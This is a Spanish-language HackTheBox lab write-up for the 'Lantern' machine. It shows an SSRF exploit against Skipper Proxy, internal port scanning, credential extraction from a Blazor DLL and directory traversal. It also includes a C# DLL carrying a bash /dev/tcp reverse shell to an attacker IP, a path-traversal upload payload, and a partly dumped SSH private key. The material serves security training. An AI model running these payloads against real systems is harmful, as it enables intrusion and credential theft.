Lantern – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Hard / Difícil
- Platform / Plataforma: HackTheBox
Sinopsis Link to heading
“Lantern” es una máquina de dificultad Difícil de la plataforma HackTheBox
. Esta máquina nos enseña a ejecutar un Server-Side Request Forgery
(SSRF
) para un Skipper Proxy
cuya version es vulnerable a CVE-2022-38580. Además, somos capaces de encontrar credenciales gracias a archivos expuestos un servicio Blazor
interno. Finalmente, aprendemos a cómo utilizar ProcMon
(que es una herramienta de monitoreo) para capturar credenciales siendo ejecutadas por un script; credenciales las cuales pertenecen al usuario root
.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
este sólo muestra 3 abiertos: 22
SSH
, 80
HTTP
y 3000
otro servicio HTTP
:
❯ sudo nmap -sVC -p22,80,3000 10.10.11.29
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-13 22:24 -03
Nmap scan report for 10.10.11.29
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Skipper Proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
<SNIP>
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: OPTIONS, HEAD, GET
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Thu, 14 Nov 2024 01:24:13 GMT
|_ Server: Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
|_http-server-header: Skipper Proxy
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 500 Internal Server Error
| Connection: close
| Content-Type: text/plain; charset=utf-8
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 125.43 seconds
Del output del escaneo podemos ver que el sitio HTTP
está intentando resolver al dominio lantern.htb
. Por lo que agregamos este dominio a nuestro archivo /etc/hosts
ejecutando:
❯ echo '10.10.11.29 lantern.htb' | sudo tee -a /etc/hosts
Usando luego WhatWeb
contra el sitio muestra:
❯ whatweb -a 3 http://lantern.htb
http://lantern.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Skipper Proxy], IP[10.10.11.29], Meta-Author[Devcrud], Script, Title[Lantern]
El sitio se encuentra usando Skipper Proxy
.
Buscando, encontramos el repositorio de Github de Skipper Proxy
, donde proveen una descripción para este:
Skipper
is an HTTP
router and reverse proxy for service composition. It’s designed to handle >300k HTTP
route definitions with detailed lookup conditions, and flexible augmentation of the request flow with filters. It can be used out of the box or extended with custom lookup, filter logic and configuration sources.En corto, es un reverse proxy.
Visitando http://lantern.htb
en un navegador de internet muestra un simple sitio de IT
:
En la parte superior podemos ver un botón de Vacancies
(vacantes). Clickeando en este muestra que la compañía del sitio web está contratando gente. También se proveen algunos nombres de potenciales tecnologías que podría estar usando la compañía como PHP
con Laravel
, MySQL
, PostgreSQL
, C#
, entre otros:
En la parte inferior del sitio se nos permite subir un archivo “Resumee” (asumo que un .pdf
). Subimos un archivo de prueba .pdf
. Solamente obtenemos un mensaje el cual dice que seremos contactados tan pronto como sea posible (spoiler: no nos llaman 🙁). Podemos interceptar las peticiones enviadas con Burpsuite
donde obtenemos:
POST /submit HTTP/1.1
Host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://lantern.htb/vacancies
Content-Type: multipart/form-data; boundary=---------------------------2118721173461543641767529709
Content-Length: 1204285
Origin: http://lantern.htb
DNT: 1
Connection: close
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="name"
test
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="email"
test@test.com
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="vacancy"
Middle Frontend Developer
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="message"
HTB
-----------------------------2118721173461543641767529709
Content-Disposition: form-data; name="resume"; filename="test.pdf"
Content-Type: application/pdf
%PDF-1.4
%Óëéá
1 0 obj
<SNIP>
Nada interesante de momento.
Visitando http://lantern.htb:3000
muestra un simple panel de login:
Pero éste no es vulnerable a algunas inyecciones o credenciales por defecto típicas no funcionan. De manera que puede que volvamos a este sitio más tarde.
Ya en este punto, dado que subir archivos no devolvió nada interesante, buscaremos por vulnerabilidades para tecnologías usadas por el sitio web. Skipper Proxy
muestra una vulnerabiliad catalogada como CVE-2022-38580, con un exploit público en exploit-db
el cual puede ser obtenido aquí. Esta es una vulnerabilidad Server-Side Request Forgery
(SSRF
). La prueba de concepto (PoC
) dada va directa al grano:
1- Add header "X-Skipper-Proxy" to your request
2- Add the aws metadata to the path
Es decir, agregar una cabecera/header X-Skipper-Proxy
a la petición y poner los datos deseados allí.
También allí se da un ejemplo, el cual es:
GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close
Para revisar si el sitio web usa una versión vulnerable empezamos un servidor HTTP
temporal con Python
en el puerto 8000
:
❯ python3 -m http.server 8000
y, usando Burpsuite
, interceptamos la petición enviada a http://lantern.htb
agregando el header X-Skipper-Proxy: http://10.10.16.2:8000
, de manera que el request enviado es:
GET / HTTP/1.1
Host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
X-Skipper-Proxy: http://10.10.16.2:8000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
y obtenemos algo en nuestro server temporal:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.29 - - [13/Nov/2024 23:00:18] code 404, message File not found
10.10.11.29 - - [13/Nov/2024 23:00:18] "GET http://lantern.htb/ HTTP/1.1" 404 -
El server es vulnerable.
Notamos que podemos cambiar el valor del header a X-Skipper-Proxy: http://127.0.0.1:80
y, dado que el puerto 80
se encuentra abierto, obtenemos código de estado 200
. Lo mismo sucede si usamos http://127.0.0.1:3000
, donde obtenemos una respuesta interesante:
El servidor se encuentra corriendo Blazor
en el puerto 3000
. Podemos ver cómo hemos explotado anteriormente este servicio en la máquina HTB Blazorized. Iremos por el puerto 3000
más tarde.
Por otro lado, obtenemos código 503
si apuntamos a un puerto totalmente aleatorio como 11111
.
Esto es interesante dado que podemos usar la vulnerabilidad SSRF
para enumerar servicio internos en base a los puertos abiertos. Para esto podemos utilizar ffuf
y sólo quedarnos con aquellas respuestas que retornen código de estado 200
:
❯ ffuf -u http://lantern.htb -H "X-Skipper-Proxy: http://127.0.0.1:FUZZ" -w <(seq 1 65535) --mc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://lantern.htb
:: Wordlist : FUZZ: /home/gunzf0x/HTB/HTBMachines/Hard/Lantern/exploits/ports.txt
:: Header : X-Skipper-Proxy: http://127.0.0.1:FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
80 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 264ms]
3000 [Status: 200, Size: 2862, Words: 334, Lines: 58, Duration: 527ms]
5000 [Status: 200, Size: 1669, Words: 389, Lines: 50, Duration: 351ms]
8000 [Status: 200, Size: 12049, Words: 4549, Lines: 225, Duration: 251ms]
:: Progress: [65535/65535] :: Job [1/1] :: 136 req/sec :: Duration: [0:07:18] :: Errors: 0 ::
Encontramos 4 puertos abiertos: 80
, 3000
(los cuales ya habíamos obtenido previamente con el escaneo de Nmap
), 5000
y 8000
; estos últimos 2 son nuevos.
Revisando el contenido obtenido al apuntar a http://127.0.0.1:5000
(con una herramienta como Burpsuite
) devuelve la respuesta:
<SNIP>
<div id="blazor-error-ui">
An unhandled error has occurred.
<a href="" class="reload">Reload</a>
<a class="dismiss">🗙</a>
</div>
<script src="_framework/blazor.webassembly.js"></script>
</body>
<SNIP>
No hay manera de llegar a esta recurso “por el exterior” (por ejemplo, usando cURL
):
❯ curl -s http://lantern.htb/_framework/blazor.webassembly.js
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Pero sí que podemos llegar a este recurso si usamos la vulnerabilidad SSRF
agregando el header vulnerable:
❯ curl -s http://lantern.htb/_framework/blazor.webassembly.js -H "X-Skipper-Proxy: http://127.0.0.1:5000"
(()=>{"use strict";var e,t,n;!function(e){window.DotNet=e;const t=[],n=new Map,r=new Map,o="__jsObjectId",s="__byte[]";class a{constructor(e){this._jsObject=e,this._cachedFunctions=new Map}findFunction(e){const
<SNIP>
Podemos leer un archivo JavaScript
(el cual es algo grande y lo acorté para mejor visualización del WriteUp).
Podemos guardar esta respuesta:
❯ curl -s http://lantern.htb/_framework/blazor.webassembly.js -H "X-Skipper-Proxy: http://127.0.0.1:5000" > blazor.webassembly.js
y pasar su contenido a una página como https://beautifier.io/ la cual formateará el código y lo hará más agradable de leer y analizar.
Buscando por la palabra framework
(similar a como vimos en HTB Blazorized
) muestra algunas líneas de código interesante:
class Ue {
constructor(e, t) {
this.bootConfig = e, this.applicationEnvironment = t
}
static async initAsync(e, t) {
const n = void 0 !== e ? e("manifest", "blazor.boot.json", "_framework/blazor.boot.json", "") : a("_framework/blazor.boot.json"),
r = n instanceof Promise ? await n : await a(null != n ? n : "_framework/blazor.boot.json"),
o = t || r.headers.get("Blazor-Environment") || "Production",
s = await r.json();
return s.modifiableAssemblies = r.headers.get("DOTNET-MODIFIABLE-ASSEMBLIES"), s.aspnetCoreBrowserTools = r.headers.get("ASPNETCORE-BROWSER-TOOLS"), new Ue(s, o);
async function a(e) {
return fetch(e, {
method: "GET",
credentials: "include",
cache: "no-cache"
})
}
}
}
Esta clase (class
) está llamando a _framework/blazor.boot.json
.
Tal cual mencioné antes, esto me recuerda a la máquina HTB Blazorized, donde también teníamos archivos .dll
expuestos.
Revisando este nuevo recurso:
❯ curl -s http://lantern.htb/_framework/blazor.boot.json -H "X-Skipper-Proxy: http://127.0.0.1:5000"
{
"cacheBootResources": true,
"config": [ ],
"debugBuild": true,
"entryAssembly": "InternaLantern",
"icuDataMode": 0,
"linkerEnabled": false,
"resources": {
"assembly": {
"Microsoft.AspNetCore.Authorization.dll": "sha256-hGbT4jDhpi63093bjGt+4XVJ3Z9t1FVbmgNmYYmpiNY=",
"Microsoft.AspNetCore.Components.dll": "sha256-NJ2GmZOAzlolS7ZPvt5guh86ICBupqwCNK0ygg7fkhE=",
"Microsoft.AspNetCore.Components.Forms.dll": "sha256-YEcUfJbV\/+SrxppUEKn5jqOg8WptBrdAGaDG+psN8Yg=",
<SNIP>
"System.Private.CoreLib.dll": "sha256-6rKu8tPdUGsvbSpesoNMVzbx7bNqPRMPV34eI7vSYaQ=",
"InternaLantern.dll": "sha256-pblWkC\/PhCCSxn1VOi3fajA0xS3mX\/\/RC0XvAE\/n5cI="
},
"extensions": null,
<SNIP>
"dotnet..lzvsyl6wav.js": "sha256-6AcYHsbEEdBjeNDUUvrQZuRqASd62mZgQgxz4uzTVGU="
},
"satelliteResources": null
}
}%
Tenemos un archivo .dll
llamado InternaLantern.dll
.
Este recurso existe:
❯ curl -s -I http://lantern.htb/_framework/InternaLantern.dll -H "X-Skipper-Proxy: http://127.0.0.1:5000"
HTTP/1.1 200 OK
Accept-Ranges: bytes
Blazor-Environment: Production
Cache-Control: no-cache
Content-Length: 55808
Content-Type: application/octet-stream
Date: Thu, 14 Nov 2024 03:18:40 GMT
Etag: "1dae2d626a30800"
Last-Modified: Tue, 30 Jul 2024 23:13:56 GMT
Server: Skipper Proxy
Podemos descargar este recurso usando wget
(junto con --header
para aplicar el SSRF
):
❯ wget --header "X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/InternaLantern.dll
--2024-11-14 00:21:18-- http://lantern.htb/_framework/InternaLantern.dll
Resolving lantern.htb (lantern.htb)... 10.10.11.29
Connecting to lantern.htb (lantern.htb)|10.10.11.29|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 55808 (54K) [application/octet-stream]
Saving to: ‘InternaLantern.dll’
InternaLantern.dll 100%[========================================================================================>] 54.50K 75.1KB/s in 0.7s
2024-11-14 00:21:19 (75.1 KB/s) - ‘InternaLantern.dll’ saved [55808/55808]
Podríamos traernos estos archivos a una máquina Windows
y analizar este archivo con herramientas como DotPeek
o dnSpy
. Pero en esta ocasión usaremos una herramienta que puede ser usada en Linux
llamada AvalonialLSpy
(la cual puede ser descargada desde su respositorio de Github). Nos descargamos la versión respectiva desde Releases
para la arquitectura de nuestra máquina de atacantes, descomprimimos el archivo que viene (tendremos un archivo comprimido dentro del archivo comprimido… interesante por decirlo menos) y buscamos el binario de ILSpy
en el directorio artifacts
. Lo ejecutamos. Luego, simplemente vamos a File -> Open
y abrimos el archivo .dll
descargado. Eventualmente, en InternalLantern -> InternalLantern.Pages -> Internal
podemos ver la información de algunos usuarios en la función OnInitializedAsync
:
Tenemos algunos usuarios con mensajes encodeados en base64
.
Guardamos todos los mensajes encodeados en un archivo y los decodeamos:
❯ cat encoded_dll_info.txt
SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20=
SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ==
RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20=
UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ==
SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20=
U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE=
❯ for encoded in $(cat encoded_dll_info.txt); do echo $encoded | base64 -d; echo; done
Head of sales department, emergency contact: +4412345678, email: john.s@example.com
HR, emergency contact: +4412345678, email: anny.t@example.com
FullStack developer, emergency contact: +4412345678, email: catherine.r@example.com
PR, emergency contact: +4412345678, email: lara.s@example.com
Junior .NET developer, emergency contact: +4412345678, email: lila.s@example.com
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!
El último mensaje muestra credenciales: admin:AJbFA_Q@925p9ap#22
.
Podemos recordar el servicio corriendo en http:/lantern.htb:3000
y ver si estas credenciales funcionan:
Funcionaron. Estamos dentro.
Clickeando en la carpeta Files
al lado izquierdo podemos ver un archivo app.py
con el contenido:
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os
app=Flask("__name__")
@app.route('/')
def index():
if request.headers['Host'] != "lantern.htb":
return redirect("http://lantern.htb/", code=302)
return render_template("index.html")
@app.route('/vacancies')
def vacancies():
return render_template('vacancies.html')
@app.route('/submit', methods=['POST'])
def save_vacancy():
name = request.form.get('name')
email = request.form.get('email')
vacancy = request.form.get('vacancy', default='Middle Frontend Developer')
if 'resume' in request.files:
try:
file = request.files['resume']
resume_name = file.filename
if resume_name.endswith('.pdf') or resume_name == '':
filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
upload_folder = os.path.join(os.getcwd(), 'uploads')
destination = '/'.join([upload_folder, filename])
file.save(destination)
else:
return "Only PDF files allowed!"
except:
return "Something went wrong!"
return "Thank you! We will conact you very soon!"
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)
Básicamente, éste se encuentra corriendo Flask
en el puerto interno 8000
(el cual descubrimos que estaba abierto con el “escaneo” con ffuf
abusando del SSRF
).
Luego de inspeccionar un poco el código, este es el código que almacena el “Resumee” (archivo .pdf
) que habíamos tratado de subir en un comienzo. Por lo que, básicamente, el servicio en el puerto 80
(http://lantern.htb
) está corriendo Skipper Proxy
y redirigiendo el tráfico a la aplicación Flask
. La parte interesante del código yace en la línea:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
El input no está sanitizado y, por tanto, podemos agregar ../
al parámetro que es llamado (/PrivacyAndPolicy?lang=
) para intentar un Directory Traversal
.
Notamos, además, que al lado izquierdo si clickeamos en Upload content
podemos subir imágenes:
Este imagen se encuentra ahora ubicada en la carpeta Files
tal como muestra el mismo portal:
Podemos ver si el Directory Traversal
funciona intentando usar los parámetros hallados para leer archivos como, por ejemplo, el archivo app.py
(al clickear en un archivo en la página web, ésta nos muestra su ruta absoluta; ruta que usamos ahora):
❯ curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../var/www/sites/lantern.htb/app&ext=py'
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os
app=Flask("__name__")
@app.route('/')
def index():
<SNIP>
Funcionó.
¿Pero cómo podemos leer un archivo sin extensión como /etc/passwd
?. Bueno, una manera es intentar leer ../../../../../../.././etc/passwd
. De hecho, podemos chequear esto mismo en nuestra máquina de atacante:
❯ cat ../../../../../../.././etc/passwd | head -n 3
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Por tanto, intentamos leer el archivo /etc/passwd
con este truquillo:
❯ curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../&ext=./etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<SNIP>
Encontramos 2 usuarios: root
y thomas
:
❯ curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../&ext=./etc/passwd' | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
tomas:x:1000:1000:tomas:/home/tomas:/bin/bash
Pero no somos capaces de leer el archivo id_rsa
del usuario thomas
o algo similar.
De vuelta al panel http://lantern.htb:3000
, si buscamos por un módulo que no existe tenemos un error:
El programa busca por un archivo .dll
en /opt/components
.
Dado que el servidor está buscando por archivos .dll
, y somos capaces de subir archivos, podríamos tratar de subir un archivo malicioso .dll
. Para esto, basados en este post necesitaremos una extensión para Blazor
para Burpsuite
. La instalamos (yendo, en Burpsuite
, a Extensions -> BApp Store
y buscamos por Blazor
).
Ahora, crearemos un archivo C#
malicioso (ya que Blazor
, el servicio corriendo el servidor web, usa C#
). Primero, creamos un proyecto usando dotnet
:
❯ dotnet new classlib -n revshell
<SNIP>
Luego, instalamos los paquetes necesarios:
❯ dotnet add package Microsoft.AspNetCore.Components --version 6.0.0 && dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0
<SNIP>
Entramos en el directorio llamado revshell
y editamos el archivo Class1.cs
con el contenido:
using System;
using System.Diagnostics;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
namespace revshell{
public class Component : ComponentBase{
protected override void BuildRenderTree(RenderTreeBuilder __builder){
Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "/bin/bash";
proc.StartInfo.Arguments = "-c \"bash -i >& /dev/tcp/10.10.16.2/443 0>&1\"";
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
while (!proc.StandardOutput.EndOfStream){
Console.WriteLine(proc.StandardOutput.ReadLine());
}
}
}
}
donde 10.10.16.2
es nuestra IP de atacantes y 443
el puerto en el cual nos pondremos en escucha con netcat
.
Finalmente, creamos el archivo .dll
:
❯ dotnet build -c release
MSBuild version 17.3.0+92e077650 for .NET
Determining projects to restore...
All projects are up-to-date for restore.
revshell -> /home/gunzf0x/HTB/HTBMachines/Hard/Lantern/exploits/revshell_exploit/revshell/bin/release/net6.0/revshell.dll
Build succeeded.
0 Warning(s)
0 Error(s)
Time Elapsed 00:00:03.87
Esto generará múltiples archivos en el directorio bin/release/net6.0
:
❯ ls -la bin/release/net6.0
total 40
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Nov 14 02:54 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Nov 14 02:51 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 9850 Nov 14 02:54 revshell.deps.json
-rw-rw-r-- 1 gunzf0x gunzf0x 5120 Nov 14 02:54 revshell.dll
-rw-rw-r-- 1 gunzf0x gunzf0x 11288 Nov 14 02:54 revshell.pdb
De vuelta a la aplicación web, en mi caso intenté interceptar la data enviada a través de Firefox
y FoxyProxy
, pero no funcionó para peticiones con Blazor
. De manera que usé el navegador web que viene incluido con Burpsuite
, fui a la página web, y de esa manera sí me registró todos los datos enviados. Podemos entonces revisar el historial HTTP History
, borrar el viejo historial, subir una imagen y fijarnos en la primera petición por POST
enviada. En este caso en específico obtenemos:
POST /_blazor?id=tVCAQun74z6Qp99JNsu8rg HTTP/1.1
Host: lantern.htb:3000
Content-Length: 172
Cache-Control: max-age=0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
X-SignalR-User-Agent: Microsoft SignalR/0.0 (0.0.0-DEV_BUILD; Unknown OS; Browser; Unknown Runtime Version)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://lantern.htb:3000
Referer: http://lantern.htb:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
ªÀ·BeginInvokeDotNetFromJS¡4À¬NotifyChangeÙz`{"id":3,"lastModified":"2024-10-30T00:23:16.470Z","name":"UAC_1.png","size":59370,"contentType":"image/png","blob":{}}`
Pero algunos caracteres de la petición no son legibles. Tratamos entonces de subir el archivo .dll
y revisar en el historial la petición por POST
donde éste ha sido subido. Recomiendo pasar esta petición al Repeater
de Burpsuite
ya que necesitaremos esta petición que sube un archivo más tarde. Ahora es donde entra en juego el plugin de Blazor
para Burpsuite
. Realizamos click derecho sobre la petición del historial, vamos a Extensions
y enviamos el body a BTP
(que es como se llama el plugin):
Si el plugin está instalado y activo, en la parte superior derecha deberíamos de tener una pestaña llamada BTP
. El body que hemos enviado anteriormente debería de estar allí. Seleccionamos la opción Blazor->JSON
y clickeamos en Deserialize
:
Podemos entonces modificar el objeto JSON
en el panel de la parte derecha. En este caso, ponemos como nombre ../../../../../../../opt/components/revshell.dll
para intentar subir un archivo a esta ruta. De manera que el JSON
con el payload es:
[{
"Target": "BeginInvokeDotNetFromJS",
"Headers": 0,
"Arguments": [
"3",
"null",
"NotifyChange",
2,
`{
"blob": {},
"size": 5120,
"name": "../../../../../../../../opt/components/revshell.dll",
"id": 2,
"lastModified": "2024-11-14T05:54:19.455Z",
"contentType": "application/x-msdownload"
}`
],
"MessageType": 1
}]
Copiamos su contenido y clickeamos en Clear
. Luego, cambiamos el método a JSON->Blazor
y clickeamos en Serialize
:
La parte importante es el payload serializado en el panel derecho. Lo copiamos. Podemos entonces ir a la petición que habíamos enviado al Repeater
y pasar el payload serializado manipulado en lugar de subir la imagen (es decir, la petición modificada para subir el archivo .dll
). No olvidar empezar un listener con netcat
.
Si esto ha funcionado el archivo debería de haber sido subido. Es por ello que en el portal corriendo Blazor
buscamos por el módulo revshell
:
y en nuestro listener con netcat
obtenemos algo:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.29] 56360
bash: cannot set terminal process group (6714): Inappropriate ioctl for device
bash: no job control in this shell
tomas@lantern:~/LanternAdmin$ whoami
whoami
tomas
tomas@lantern:~/LanternAdmin$
Este usuario también tiene una key id_rsa
para SSH
:
tomas@lantern:~/LanternAdmin$ cat ~/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
